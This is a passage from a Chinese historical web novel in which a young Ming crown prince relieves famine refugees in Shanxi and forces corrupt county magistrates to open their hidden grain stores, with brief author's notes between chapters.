树林边缘,或坐或卧,密密麻麻挤着上百人。他们衣衫褴褛,几乎不能蔽体,神情更是苍白透着麻木。 男人们目光呆滞,靠着树干,仿佛连抬眼的力气都没有。女人们搂着同样干瘦的孩子,低声啜泣,或是茫然地望着东方。几个老人蜷缩在破旧的草席上,发出压抑的呻|吟。 空气中弥漫着汗臭,土腥臭味以及一种难以言喻的绝望气息。 几只瘦骨嶙峋的野狗在人群外围徘徊,盯着人们手中那点可怜的,黑乎乎的、不知为何物的食物。 看到这支衣甲鲜明,旌旗招展的队伍靠近,流民们先是死寂了一瞬,随即像受惊的鸟兽般骚动起来。 孩子们吓得往母亲怀里钻,大人们则惶恐地相互靠拢,眼中充满了恐惧,以及一丝麻木的敌意。 几个胆大的青壮男子下意识地握紧了手中的木棍或扁担,虽然那在鲜衣怒马的锦衣卫的绣春刀前,微不足道。 “不得妄动!太子殿下驾前,还不跪迎!” 一名锦衣卫百户按刀上前,厉声喝道。 “太子?” 流民中响起一片低低的惊呼,随即是更加剧烈的骚动。 “太子怎么会来俺们这儿。” 朱佑棱抬手制止了百户的呵斥,目光扫过一张张写满苦难的脸,最后落在一个靠着树根、怀里抱着个约莫两三岁、闭目不醒的孩子的妇人身上。 那孩子脸色通红,呼吸有些微弱。 “老人家,”朱佑棱放缓了声音,对离他最近的一个白发老翁问道,“你们从何处来?为何聚集在此?又要往何处去?” 老翁看起来有六七十岁,瘦得只剩一把骨头,闻言颤巍巍地抬头。 他浑浊的眼睛看了看朱佑棱,嘴唇哆嗦了几下,忽然扑通一声跪倒在地,以头抢地,放声哭嚎起来。 “太子殿下!救救俺们吧!活不下去了,真的活不下去了啊!” 他这一哭,仿佛打开了闸门,周围的流民也跟着呜咽起来,哭声凄厉,在林间回荡。 那抱孩子的妇人更是泪如雨下,将额头抵在孩子滚烫的额头上,无声抽泣。 朱佑棱咬住唇瓣,看向刘建。刘建会意,赶紧上前温言对老翁说。“老丈莫急,慢慢说。太子殿下在此,便是要听取民瘼。你们有何冤屈苦难,尽可道来。” 在老翁断断续续、夹杂着浓重口音和哭泣的叙述中,以及周围其他流民七嘴八舌的补充下,一幅幅悲惨的图景,逐渐在朱佑棱面前展开。 这数百流民,大多来自南边的平阳府(今临汾一带)和西南的蒲州、解州等地。 去年秋天,黄河决提,孕育了无数生命的母亲河,犹如发怒的巨龙,冲垮了年久失修的堤坝。 河水吞噬无数村庄,无数田地和无数房屋。在滔天洪水中,无数百姓流离失所。偏偏朝廷的赈济姗姗来迟,且经过层层克扣,到手时已所剩无几。 靠着微薄的赈济,遭灾的百姓们勉强熬过寒冬。就在指望着春天播种,能有一线生机的时候,老天爷他已经不是闭上眼睛,而是纯粹瞎了眼。 整个春天,滴雨未落。本该润泽的昌源河、汾水支流几近干涸,河床裸露。 田里的土地硬得像石头,撒下的种子大多都发不了芽。并且在夏季烈日,无情地炙烤着土地的时候,蝗虫又来了,遮天蔽日,将残存的一点绿色啃食殆尽。 “粮,早就没了,树皮、草根也快挖光了” 一个中年汉子哑着嗓子说,他撩起破烂的衣襟,露出根根分明的肋骨. “县里的粥厂早就关了,说是没粮了。官老爷让俺们‘自谋生路’,俺们能有什么生路?地里刨不出吃的,河里的水又脏又少,喝了还拉肚子,眼看着老人孩子一个个倒下,” “俺男人,去年修堤坝,被水冲走了,尸骨都没找到” 抱孩子的妇人终于哭出声,“就剩俺们娘俩,现在孩子又病了,烧了三天了,呜呜,听说京城是天子脚下,总有口吃的,俺就带着他,跟着大家,一路往东走,走不动了,真的走不动了!” 朱佑棱脸色勃然大变,怒火喷溅。 “去年水患,朝廷不是拨了赈银,还下令修堤么?今春旱情,孤记得地方官上报过,朝廷下令地方官员自行组织抗旱,结果未曾组织抗旱?” 朱佑棱转头,看向身后脸色同样难看的刘健等人。 刘健沉声道:“殿下,赈银或有拨付,修堤或有工程,然而” 他欲言又止,但意思很明显,官吏层层盘剥,工程舞弊以及地方瞒报,几乎是公开的秘密。 户部主事赵诚道:“去年中枢朝廷赈济山西的册档,臣出发前查阅过,账目大抵是平的。” 这话说得委婉,但“大抵是平的”背后,有多少水分,不言而喻。 “孤有一万句脏话不知道该不该说。”朱佑棱直接气笑。“玩花样啊,可以,在眼皮子底下玩花样儿更是可以。孤在想一个问题,莫非孤抄家太子的名头不够响亮,这才几年啊,清明的吏治就又变得乱七八糟。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第73章 第073章 “殿下,黄河的堤防,其实…… “殿下, 黄河的堤防,其实每年都只是小修小补,一旦遇上大洪水就会溃决。” 工部员外郎张润道:“根本原因在于没有从全局统筹治理,只知堵而不知疏, 而且筑堤的材料和人工费用还经常被克扣, 这样的堤防怎么能牢固?” 刘健也道。“上次洪水退去, 之后的修缮工作, 大概都敷衍了事。如今遇到这样的大旱, 河床干涸, 看似太平无事, 但其实, 堤坝基底已经松动, 隐患出现,如果再遇到暴雨,恐怕” 恐怕什么呢! 恐怕再来一次黄河决堤,洪水滔天! 这些朱佑棱都懂,其实不需要跟随出来的属臣说, 但说了后心情更加复杂, 还挺难受。 朱佑棱闭上眼睛,复又睁开,眼中已是一片冰寒。 真当他的父皇好性子? 而他也是好性子? 等着瞧, 这回不把两地官员的底裤都给扒了,他就不姓朱。 朱佑棱走到那抱孩子的妇人面前, 蹲下身。妇人吓得往后缩,却被护卫轻轻拦住。 “李院判。” 朱佑棱唤道。 李太医早已注意到妇女抱着的病童,闻言立刻上前,也顾不得脏污, 伸手探了探孩子的额头,又翻开眼皮看了看,再切脉。 片刻,李太医眉头紧锁。“殿下,此子高热不退,脉搏又浮又快,却很虚弱,这是中了暑热,加上积食不化,又饿得身体亏虚,导致病邪深入体内。情况非常危险,必须马上给他针灸和用药,先退高热,再扶助体内的正气。” “可能救治?” 朱佑棱问。 “若药物齐备,施救及时,或有一线生机。只是此地” 李太医面露难色,流民之中,类似病患恐怕不止一例。 朱佑棱站起身,环视四周。 那一双双麻木、恐惧、又带着一丝微弱期盼的眼睛,像针一样刺着他的心。 他是太子,是大明未来的君主。这些,都是他的子民。 他不能眼睁睁的看着,这回‘自动请缨’算是做对了。 “尔等听令。” 朱佑棱开口,声量不高,却很坚定。 “臣在。” “传孤令谕。” 朱佑棱一字一句道,“第一,即刻于此地设立临时诊治所,由李院判统领,所有随行太医、医士,全力救治流民中患病者,尤其是妇孺。所需药物,从随行御用及储备药材中支取,若有不足,持孤手令,向最近州府征调,不得有误!” “第二,开仓!将我们携带的部分军粮,以及预备沿途应急的粮秣,全部取出,于此地设立粥棚,立时生火熬粥,赈济流民!” 朱佑棱并没有要求稠粥,还是那种能立住筷子的稠粥。他们携带的军粮有限,基本都是每到一处驿站,驿官就会提供粮草。 都是按人头按天数计算的,一般提供7日份的数额。 纵然稠粥能让人吃饱,但是,‘清汤寡水’的粥,并不能很好的填饱肚子,但是能吊命。 先把这几天撑过,等临近州县运粮过来就好了。 “第三,铜钱,你安排人手,派快马,,分几队人行动。”朱佑棱顿了顿,继续说道。 “一队持孤令牌,前往邻近州县,传令当地官员,即刻前来见孤!并命他们立即开仓放粮,搭建窝棚,妥善安置流民,若有拖延推诿,克扣赈济者,以抗旨论处!另一队,六百里加急,将此地实情奏报京师,请父皇速拨钱粮,告诉父皇,孤会严查山西去年赈济的明细,以及今春旱情瞒报之事!” “第四” 朱佑棱再次看向那些面黄肌瘦的流民,提高声音,“你们都是大明的子民,遭了这样的天灾,流离失所,这不是你们的过错。孤今日既然在这里,那就绝不会让你们饿死在路边!” “但你们也必须听从安排,有秩序地领粥、看病,不得拥挤抢夺,惊扰地方。等地方官到了,会好好安置你们,要么回乡,要么就在附近的州县安顿下来开荒种地。朝廷——绝不会丢下你们不管!” 身为太子的朱佑棱一声令下,整个队伍立刻高速运转起来。 训练有素的锦衣卫,真的算是百能小手,迅速在官道旁清理出一片空地,并且还迅速的架起好几口大锅,生起熊熊灶火。 又有人去找水源,很快,水取来放入大锅里,很快水开了,白花花的大米洗干净倒入沸腾的水中,浓郁的米香很快随着蒸汽弥漫开来,瞬间吸引了所有流民的注意。 他们不由自主地吞咽着口水,眼中燃起渴望的火焰,但慑于周围明晃晃的刀枪,无人敢乱动,只是眼巴巴地望着。 又有人取来采摘的野菜,以及野味。剁碎后加入还在煮的米粥中,搅拌,放盐调味,并且再加上适当的水,确保什锦野菜野味粥不黏稠的同时,也不清汤寡水。 而在锦衣卫们忙碌下,其他随行的医官,也在李太医的指挥下,寻了处稍微干净通风的林下空地,铺开油布,摆出药箱银针。 小翠也在帮忙,不过只忙碌了一会儿,就站到了朱佑棱的身旁。 李太医亲自为那名病童施针急救,又喂下随身携带的退热散。孩子的母亲跪在一旁,不住磕头,额头上沾满泥土。 “殿下,先回马车吧。”小翠低声说道。“这里有奴婢,有铜钱在,不需要殿下顶着烈日候着。” “嗯,孤知晓。” 朱佑棱自是知晓小翠为何会这样说,是怕自己越看越心情沉重。的确,这时候的朱佑棱心情的确沉重,是对现实的痛恨,更是对中枢朝廷官员渎职的恼怒。 王八玩意儿,去年黄河决口,洪水爆发,由于相信地方官员,所以并没有委派钦差大臣前往督促当地官员维护水利工程。 虽说即便派遣钦差,钦差也有可能和当地官员勾结,瞒下事情来。但是吧,朱佑棱现在的心情,就很窝火。 “孤回马车上了。后续小翠姑姑你来安排。” 说罢,朱佑棱便上了马车休息。 小翠开始往铜钱的位置走去,此时第一锅粥已经熬好。香味扑鼻,流民们压抑已久的求生本能瞬间爆发了。 他们忘了太子的命令,忘了周围的官兵和锦衣卫,像潮水一样涌向粥锅,伸出脏污枯瘦的手,企图用碗,破陶罐,甚至想要直接用双手去捞。 场面一度失控。 “退后!排队!一个个来!” 锦衣卫几乎都是以一当百的好手,都见过血,呵斥时,那股肃杀之气扑面而来。 “不想活命?”铜钱抽出绣春刀,厉声道。“按照规矩来,排好队。” “老弱妇孺在前,青壮在后!谁敢再挤,扰乱秩序,惊抢粥粮,立即驱逐出队,不予发放!!” 铜钱没看在朱佑棱身边,有时候挺像棒槌。但实际上是个人才,不然也坐不上千户的位置。 此时他目光如电,扫过几个冲在最前面、面目狰狞的青壮。 “来人,将那几人带出队伍,于最后发放!” 几名如狼似虎的锦衣卫立刻上前,将那几个带头哄抢的汉子拖了出来。 那几人还想挣扎叫嚷,被锦衣卫几下制服,按倒在地。这一手,很好的震慑住大部分人。 “现在,重新排队!老人、带孩子的妇人,到这边来!其他人,到那边!” 小翠高声开口,指着其他几口大锅。 都同时煮的,在哪儿排队领取不是一样。干嘛非要挤在一起。莫非看她女儿家,好欺负不成? 很快,其他人也来帮忙。在刀剑的威慑下,混乱渐渐平息,四条长长的、歪歪扭扭的队伍排了起来。 很快,热气腾腾的粥,被一勺勺分到了流民手中。他们捧着滚烫的粥碗,也顾不得烫,狼吞虎咽的吃起来。 这时候,派去传令的锦衣卫快马带回消息。 ——祁县知县称病不出,只派了个县丞前来,言说县库空虚,难以接济如此多流民,建议朱佑棱这位皇太子令流民继续东行或南下。而平遥、太谷等地的官员则迟迟未到。 “好一个县库空虚,好一个称病不出!”朱佑棱闻言冷笑起来。“孤朕是没有想到,孤才走到哪儿,就遇到了地方官惯用的推诿扯皮伎俩。 “这儿的地方官员,可真是棒啊,既怕担责任,又舍不得开仓放粮,害怕因此损耗“政绩”。 朱佑棱越说声音越冷,因为他想到了一个可能,那就是地方粮仓根本就没有存粮。 如果真的没有存粮,那么问题来了! 存粮都用来赈济流民,还是偷偷倒卖,让他们赚了个盆钵满盈! 朱佑棱深呼吸,尽量控制住滔天的怒火。 “铜钱!”朱佑棱厉声喊道。 “末将在!”铜钱赶紧应和。 “点20名锦衣卫,100官兵,手持孤令牌,即刻前往祁县县衙。若那知县真病得起不来床,就给孤抬过来!若敢抗命,以谋逆论处,就地锁拿。还有” 朱佑棱几乎咬牙,一字一顿的道。“开仓查粮!若有亏空,立刻封存账册,县衙的所有人等,不得离开半步!” “遵命!” 铜钱杀气腾腾,领命而去—— 作者有话说:更新o(* ̄︶ ̄*)o 今天我买了红薯干,我爸吃了几口,说硬得咬不动! 然后[笑哭][笑哭][笑哭]吃完饭的时候,他大牙不见了! 艾玛,我真的罪孽深重! 但是我超级想笑!!! 第74章 第074章 “大夫!先给我娘看看!她…… “大夫!先给我娘看看!她咳血了!” “我孩子也发烧, 为什么先给这老婆子看?” “就是!药呢?把药拿出来分了!” 李太医带领医官的队伍出现波澜,几个喝了粥、恢复了些力气的汉子,围住了正在给一个老妇人诊脉的李太医。 他们眼中只有对自己亲人的担忧以及戾气。仿佛太医和那些珍贵的药材,成了他们唯一能抓住的救命稻草, 必须抢到手。 这不, 居然还动起手来。 李太医被推搡得一个踉跄, 药箱差点被打翻。护卫太医的锦衣卫立刻拔刀, 厉声呵斥。 “退开!惊扰太医, 格杀勿论!” “杀啊!反正也是饿死病死!不如拼了!” 一个红着眼睛的汉子吼道, 竟要去夺锦衣卫的刀。场面瞬间剑拔弩张。 “住手!” 朱佑棱的声音再次响起。 朱佑棱离开马车, 快步走了过来。 别看朱佑棱如今不过一米六, 但气势很足。站在那些激动到几乎面目扭曲的流民面前。 双眸冷冽, 凉凉的瞅着。 “想要药?” “是!殿下开恩!给点药吧!我娘快不行了!” 一个汉子噗通跪下,磕头如捣蒜。 “药有,但量不多。也怪孤来时,并没有预料到这样的情况,只有应急的药物, 数量真的不多。” 朱佑棱话虽耿直但很真实, 最后还指着李太医道。“这位大夫,乃是太医院院判,是太医院最好的大夫之一。相信孤不用多解释, 你们都知晓太医院是什么地方。那是皇家医院,都是医术顶顶不错的大夫, 才有资格进的。” “孤在这儿,李太医也在这里。孤不想跟你们争辩该先救谁的问题,孤只想说,事有轻重急缓, 谁病重就先救谁。而且你们这样围着李太医,甚至还推搡他,不觉得耽误了工夫?” 朱佑棱顿了顿,又道。“在这样的情况下,耽误功夫等同于浪费生命,你们以为你们是在为亲人争取活命的机会?不,你们是在耽误你们亲人的生命,或许在你们浪费的时间里,你们亲人已经获救了。” 顿时很多人,都因为朱佑棱的话动容。 朱佑棱目光扫过众人,再次沉声道:“孤下令,重病、重伤、妇孺优先。所有病患,需经太医诊断,按轻重缓急用药。谁敢再扰乱诊治,耽搁救治,便是害了其他等待救命的人!也害了你们自己!” 最后又将视线对准先前那要夺刀的汉子。 “还有你,若真想救你娘,就帮太医维持秩序,将重病的抬到前面来!而不是在这里耍横!耍横能救你娘的命?” 那汉子被朱佑棱的目光和话语震慑,又羞又愧,呐呐地说不出话。 “还有你们!” 朱佑棱看向其他流民,“朝廷的救济正在路上!地方的官员马上就到!只要熬过这几天,就有活路!现在互相争夺,自乱阵脚,是想让所有人都死在这里?” 流民们顿时变得异常安静,看着年龄稍显稚嫩,不过十三还是少年郎模样,甚至还未到变声期的朱佑棱,算是体会到了什么是皇家威严。 过了一会儿,又像是过了许久,那夺刀的汉子,突然动手猛地抽了自己一个嘴巴,然后蹲到一边抱头痛哭起来。 其他人也默默地散开,帮着将重病号往诊治点抬。秩序顿时恢复了过来。 朱佑棱站在原地看了一会儿,神色依然很严肃。就这样,时间以很快的速度流逝,不知不觉间,天色渐渐暗了下来。 粥棚的灶火一直未熄,熬了一锅又一锅稀粥,虽然不能完全吃饱,但至少让大多数人腹中有了暖意,眼中有了些许神采。 李太医和医官的诊治也在紧张进行,一些危重病患的病情得到了初步控制。 派去各县的锦衣卫陆续带回消息。 祁县知县被铜钱亲自“请”了来,战战兢兢,县库果然如朱佑棱所揣测的那样,空虚大半,账目混乱。并且粮仓根本没有一粒米。 不止去年收起来的新鲜大米,就连陈米也是没有一粒。 朱佑棱瞄了一眼战战兢兢的祁县知县,没有说一句话,却有无形威压迫使祁县知县差点跪地磕头。 很快,平遥、太谷等地的知县也连夜赶到,面对朱佑棱好整理瑕的质询,汗如雨下,支吾其词。 得!又是和祁县知县一样的货色! 朱佑棱没有当场发作,只是冷着脸,再次‘温和’的询问说:“给你们两个选择,立刻开仓放粮,或者孤的六皇叔、七皇叔哪里缺能干的家伙,继续开垦良田。不若你们全家都搬去孤的六皇叔,或者七皇叔那儿去吧!” 翻译过来就是,要吗将吞进去的存粮吐出来,要吗就全家老少爷们一起去闽南或者安南郡搞建设。 瞧瞧,朱佑棱安排得多合理。但是呢,听懂他意思的人,全都脸色难看得要死。 其中祁县知县更是腿软,扑通一声倒地,根本爬不起来。 不管是闽南,还是安南郡,对于大明的官员来说,从来都不是好地方。 朱见泽最为朱见深同母的嫡亲弟弟,封地在‘闽南’,就是后世的福建那块儿,看似朱见深嫌弃嫡亲弟弟,实则是有意为之。包括安南郡也是如此。 闽南一带,由于气候多湿热,被视为偏远艰苦之地,安南郡呢,是成祖时期收复又半放弃的交趾故地,更被视为蛮荒瘴疠、有去无回的绝地。 这两地方,哪里是“缺能干家伙开垦良田”?分明是流放、是发配,是与死亡无异的前途! 而且是“全家老少爷们”一起去!这意味着政治生命的彻底终结,乃至整个家族的覆灭。 祁县知县姓王,名仁禄,是个四十多岁、保养得宜、惯会钻营的官员。 他原本还存着一丝侥幸,觉得太子年幼,或许能被‘县库空虚、艰难维持’的托词糊弄过去,顶多挨顿训斥。 结果 此时此刻的他,听到这赤裸裸的威胁,再对上朱佑棱那双清澈却冰冷、没有丝毫玩笑意味的眼眸,只觉得一股寒气从脚底板直冲天灵盖。 王仁禄额头上的冷汗,哗哗的流,嘴唇哆嗦着,一个字也说不出来。 旁边一同被“请”来的平遥知县李守拙,太谷知县周文彬,也是脸色惨白如纸,两股战战,勉强支撑着没有瘫倒,但官袍下的身体已然抖如筛糠。 他们身后跟着被一同‘请’来的县丞、主簿、典史等小官吏,更是吓得魂飞魄散,有几个已经瘫软在地,几乎要晕厥过去。 “王知县这是怎么了?地上凉,快起来回话。” 朱佑棱接过小翠奉上的茶盏,轻轻吹了吹水面并不存在的浮沫。语气依旧温和,甚至还带着一丝恰到好处的关切。 “孤方才所言,不过是想着两位皇叔那边地广人稀,急需人才开垦,又闻尔等地方官员向来勤勉,或可一用。当然,若是诸位大人能体谅朝廷艰难,体恤流民疾苦,就地解决问题,那是再好不过。孤这个人呢,其实十分不喜欢麻烦。” 这简直是,赤|裸|裸在下最后通牒。翻译过来就是,要钱还是要命,让他们直接二选一。 王仁禄哪里还敢选择,直接连滚带爬地往前蹭了两步,声音带着哭腔,头磕得砰砰响。 “殿下开恩!殿下开恩啊!微臣有罪!微臣糊涂!微臣微臣立刻回去,就算砸锅卖铁,也定将仓中存粮尽数取出,赈济灾民!绝不敢有丝毫延误!求殿下开恩,莫要将微臣全家发配发配” “发配?” 朱佑棱微微挑眉,似乎有些诧异,“王知县何出此言?孤只是征询你们的意见,何来发配之说?为国效力,无论是在祁县,还是在闽南,或者安南郡,不都是为父皇分忧,为朝廷尽忠么?莫非王知县觉得,去皇叔们封地上效力,便是委屈了,便是发配了?王知县说这样的话,置孤的两位皇叔于何地?” 又是一顶“非议亲王”的大帽子扣下来,王仁禄差点当场吓尿,再次磕头如捣蒜。 几乎飙泪的道:“微臣不敢!微臣绝无此意!微臣愿在祁县为朝廷,为殿下肝脑涂地!只求殿下给微臣一个戴罪立功的机会!” “哦?戴罪立功?” 朱佑棱直接摔了手中茶盏,茶盏被摔碎,发出清脆的声响。在场的几位知县以及县丞、主簿、典史等小官吏,全都心脏一缩。 朱佑棱收敛脸上的温和,声音倏然变得冷冽。 他道:“王知县何罪之有?方才不还说县库空虚,无力赈济么?” “微臣微臣” 王仁禄语无伦次,此刻哪里还敢嘴硬,只能把心一横,赌咒发誓般说道。 “微臣有罪!未能如实禀报!县库县库虽不丰盈,但但挤一挤,总能凑出些粮食来!微臣这就回去开仓放粮,搭建窝棚,安置流民,绝不敢再有半分推延!” 朱佑棱不置可否,目光转向另外两位知县,微笑着问。“李知县,周知县,你们二位呢?是觉得留在平遥,太谷更能施展抱负,还是想去闽南或者安南郡,协助皇叔们开疆拓土?” 李知县和周知县哪里还敢想有另外的选择,立马和先前的王仁禄一样,慌忙不迭地跪下表态。 李知县:“微臣誓死效忠朝廷。即刻开仓,全力赈灾!” 周知县:“对对对!微臣回去就亲自督办,绝不敢有丝毫懈怠,请殿下明鉴。” “真心实意?”朱佑棱笑着问。 几位知县包括他们的幕僚们全都忙不迭的点着狗头,就怕晚一步,朱佑棱又话锋一转说他们更适合去闽南或安南郡施展抱负,让他们全家老少爷们,都‘搬去’毒瘴丛生的南方生活—— 作者有话说:更新o(* ̄︶ ̄*)o 今天陪我爸去补牙。哈哈哈!我还是想要笑,门牙啊,两颗门牙都被红薯干给磨掉了! 第75章 第075章 “很好。” 朱佑…… “很好。” 朱佑棱脸上终于露出一点极淡的笑意。这笑意几乎看不见, 却比方才的冰冷更让人心头发毛。 “看来诸位,还是深明大义,知晓孰轻孰重的。既然如此,孤便给你们这个机会。” 他语气陡然转厉:“铜钱!” “末将在!” “着你亲自带人, 分头‘陪同’三位知县大人, 即刻返回各自县衙!” 朱佑棱依然保持着似笑非笑, 不快不慢的说话。 “回去后, 开仓, 验粮以及放赈每一笔支出, 每一粒粮食的去向, 都要给孤登记造册, 记得清楚明白!若有短缺, 立刻来报!若有人胆敢阻挠,或是阳奉阴违,暗中做手脚” 他目光如冰刃般扫过瘫软的三人。 “不必再请示,直接锁拿,连同家眷一并看管, 等候朝廷发落!孤倒要看看, 是你们的胆子大,还是朝廷的王法硬!” “遵命!” 铜钱应声,随即一使眼色, 如狼似虎的锦衣卫便上前,几乎是半搀半架地将三位知县及其主要属官“请”了出去, 连夜押送回各自的县城。 朱佑棱所在区域,很快就恢复了安静,但压抑的气氛并未散去。 刘健上前一步,低声道:“殿下, 如此施压,是否过于急切?恐激起地方反弹,要是他们狗急跳墙,毁坏账目粮储” “刘卿,非常之时,当用非常之法。你也看到了流民现在的情况。你觉得跟他们讲道理,他们听得懂?” 说到这儿的时候,朱佑棱晒然一笑,分外嘲讽的继续说。“如今的情况,孤知晓,流民等不起,要真让他们等下去,就凭地方官员互相扯皮推诿的尿性,只怕黄河沿岸,饿死的百姓将数不胜数。” “刘卿你要相信,孤今日若不拿出霹雳手段,不让他们知道怕,知道疼,他们明日就敢继续扯谎,后日就敢将仓中仅存的粮食倒卖一空!至于狗急跳墙……” 朱佑棱冷笑一声,眼中充斥着杀意。 他继续道:“孤倒要看看,是他们的脖子硬,还是锦衣卫的刀快!铜钱带去的人,足够控制县城。孤猜测,他们现在,只怕是急着补仓,哪里还敢毁账?” 户部主事赵诚犹豫道:“殿下,若是这几个县的粮仓确实空虚” “那正好!” 朱佑棱打断他,眼中的杀意更加明显。“仓中无粮,那粮食去了哪里?当孤不知道地方如何收赋税的。” “既然仓中无粮,那么账目必然有问题!查!给孤一查到底!正好借此机会,将山西,至少是这平阳府周边的积弊,掀开一角!” “父皇和母妃在京城清理佛产,清查寺庙藏匿人口,不也是为了整顿积弊,充实国库。孤现在来了地方,便从这吏治和仓廪查起。” 说罢,朱佑棱看向工部员外郎张润,又道:“张员外,明日一早,你带精通水利的人,由本地熟悉情况的向导引路,详细勘察附近河流、堤坝、灌渠等情况,特别是去年水患的溃口和修复处,务必画出详图,评估隐患。孤要知道,到底是天灾无情,还是国贼禄蠹更甚!” “臣遵命!” 张润肃然领命。 “刘卿,” 朱佑棱最后对刘健道,“劳烦你统筹全局,督促各方。流民的安置问题,以及生病诊治,人口登记等等,都允地方官戴罪立功。” “至于后续可能发现的种种问题,就由你坐镇协调。对了,另外,将今晚之事,连同孤的处置,以及明日即将展开的核查,一并详细写入奏章,加急发往京城。孤要让父皇知道,山西的问题,比他想象的,可能更严重。” “微臣领命。” 刘健深深一揖,心中对朱佑棱这位年幼太子的观感再次刷新。杀伐果断,思虑周全,更难得的,其实是那份体恤百姓,以及整顿积弊的决心。 只是,这般行事,也必将触犯无数人的利益,看来他们此行,怕是危险重重,说不得朱佑棱行事太过‘偏激’,还会遭遇刺杀呢! “遭遇刺杀?嘶!会想。”朱佑棱突然道。“孤都不敢这样想,但你这样想了,那可真是刺激!” 刘建:“” ——不,殿下,这一点都不刺激,相信我,一点都不刺激! 不提都快急哭了的刘建等人,且说铜钱那边。这一百直接听命铜钱的锦衣卫,办事效率极高。当夜,祁县、平遥、太谷三县的县衙和官仓便被牢牢控制。 祁县知县王仁禄几乎是哭着打开他口中所谓‘空虚’的粮仓。结果不出意外,令人震怒。 仓中存粮虽然不及账册所载,但也绝不‘空虚’,初步用眼睛估算,至少还有近千石的存粮! 而他之前百般推诿,不过是想保住这些“存粮”,待价而沽后转卖出去,好中饱私囊。 在锦衣卫的刀锋和“全家搬去闽南”的威胁下,他再不敢耍花样,连夜组织胥吏开仓放粮,并在城外搭建简易窝棚。 同时,在铜钱的那把锋利无比的绣春刀的‘帮助’下,王仁禄开始回忆历年赈济款项,赋税征收中的种种疏漏,还抖抖索索地交代了一些与上级、与地方豪绅往来的‘人情’账目。 平遥、太谷的情况大同小异。 在绝对的武力威慑和前途尽毁的恐惧下,两位知县也纷纷‘挤’出了粮食。 一开始呢,还不愿意交代问题。结果在锦衣卫们绣春刀的帮助下,迅速交代,整个县衙的胥吏,几乎都被一锅端了。 三地县令连同胥吏都被‘就近原则’一起关入大牢。并且锦衣卫们除了绣春刀使得好外,个个都是抄家小能手。还同时将关入大牢的县令、胥吏家给抄了。 未来的话,大概不是在东北苦寒之地,就是在毒瘴横生的南方一家团聚。 而三地的地方官员甚至胥吏都‘遭殃’后,消息像风一样传开。附近的州县官员闻讯,无不惊惧。 而原本还在观望、甚至准备效仿‘哭穷’策论的地方官员们,立刻转变态度,不等朱佑棱这位太子传唤,便主动派人甚至亲自前来,找太子汇报工作。 他们个个都是人才,不止急于表现,还拍着胸脯保证全力配合赈灾,并且‘自发’地开始清查仓库,预备迎接可能的检查。 一时间,太子行辕所在的这片区域,竟成了山西官场最‘高效廉洁’的地方。 不可否认,也托了他们的识时务,流民的安置工作得以迅速推进。 随着粮食的陆续运到,粥棚得以维持。之后更是搭建起窝棚,好供流民使用。 毕竟生病的流民,需要得到进一步救治,隔离。窝棚的存在,是十分有必要的。 而在这样逐渐良好的情况下,一天傍晚,一封没有署名的密信,被一支弩箭射入了太子行辕外围的警戒圈,钉在了一棵大树上。锦衣卫发现后,立刻呈报。 信的内容很短,字迹潦草,充满警告意味。 ——殿下年少,不知深浅。山西之事,盘根错节,非止于州县。强龙不压地头蛇,还请殿下见好就收,速离险地,可保平安。若执意深究,恐有不测之祸,悔之晚矣! 随信附上的,还有一小块沾着暗褐色污迹的粗布,似乎是干涸的血迹。 “威胁?恐吓?” 朱佑棱真的万万没想到,刺杀没有等来,反而恐吓信先来了。朱佑棱轻晒,微笑着将信递给刘健等人传阅。 铜钱勃然大怒:“岂有此理!竟敢威胁太子殿下!末将这就加派人手,彻查周边,定要将这狂徒揪出来!” 刘健则面色凝重:“殿下,此信虽语焉不详,但‘盘根错节,非止于州县’之语,恐怕不是空穴来风。王仁禄等人交代的人情账目,已牵扯到府衙,乃至更上层。殿下,微臣觉得,对方这是狗急跳墙了。殿下,安全为重,是否……” “是否暂避锋芒?” 朱佑棱摇头,并没暂避锋芒的打算。 “越是退缩,对方就越是嚣张。他们以为一封匿名信就能吓退孤?那他们也未免太小看孤这位大明储君,太小看父皇的决心了。” 小翠这时候端着茶水进了帐篷。 “其实奴婢觉得,他们越是如此,越证明查对了方向,估计他们是怕了,所以才写了这样一封信。” 小翠的话很有道理,朱佑棱当即赞同的说。“传令下去,行辕戒备提升至最高!但巡视计划不变!明日,按原计划,前往蒲州黄河决口处!孤倒要看看,这山西的地头蛇,究竟有多粗,是假的,是真敢对当朝太子亮出毒牙!” 铜钱沉吟:“殿下的意思,属下懂了。是想要将水搅浑?” “对啊,山西这潭水,既然已经搅浑了,那就不妨让它更浑一些。毕竟浑水嘛才好摸鱼。”顿了顿,朱佑棱突然惆怅的叹息起来。 “如此,也好让父皇和朝廷看看,这大明的躯体上,到底海藏着多少脓疮和毒瘤!”—— 作者有话说:更新o(* ̄︶ ̄*)o 第76章 第076章 朱佑棱其实很喜欢大漠孤烟…… 朱佑棱其实很喜欢大漠孤烟直的景色。 当然这个前提, 是在塞外的大漠,如果在中原腹地,看到‘大漠孤烟直’的景色,那就代表干旱严重, 土地已经因为缺水, 而大规模出现干裂风化。 如果不加以治理, 大概真的会有堪比塞外大漠的‘风景’, 那就很恐怖了。反正朱佑棱是绝对不想在中原腹地看到‘大漠孤烟直’的景色。 就如现在, 夜色渐浓, 朱佑棱却了无睡意。行辕内灯火通明, 除却朱佑棱外, 一干亲信也都在。 夜风徐徐吹拂, 带来丝丝凉意。此时还是初夏,气温的话,说起来其实不算高。夜风送来的凉意,稍微让浮躁的情绪,平和许多。 朱佑棱停止和亲信的交谈, 接过小翠奉上的茶汤。行辕外, 燃烧的篝火看似杂乱无章,实则都被划定了区域摆放。 大部分的流民围着篝火,裹着分到的少许旧衣物, 这些旧衣物,除了自带的外, 便是从随行人员备用衣物中挤出的。 他们有的,此时已经沉沉睡去,有的还聚在一块儿烤火聊天。可以说此时的他们,是多日来过得最舒心的一晚。 行辕内, 接过茶汤的朱佑棱,很快就将一碗茶汤喝完。他将空碗放置在一旁,让大家继续先前的话题。 “殿下,夜深了,您该歇息了。” 小翠心疼地看着朱佑棱眼下的青黑。 朱佑棱目前十三岁,说是少年郎,实际上还是个孩子。这几日的劳心劳力,远超他这个年龄的负荷。 “孤睡不着啊!” 朱佑棱揉了揉眉心,声音有些沙哑。 “小翠姑姑你去休息吧,睡眠不足对颜值有很大的影响哦!”朱佑棱调笑的道。“孤可不希望铜钱回来后,看到比平时丑很多的未婚妻。” 小翠顿时哭笑不得,只得退下,自行去歇息。 小翠一走,朱佑棱他们继续议事。 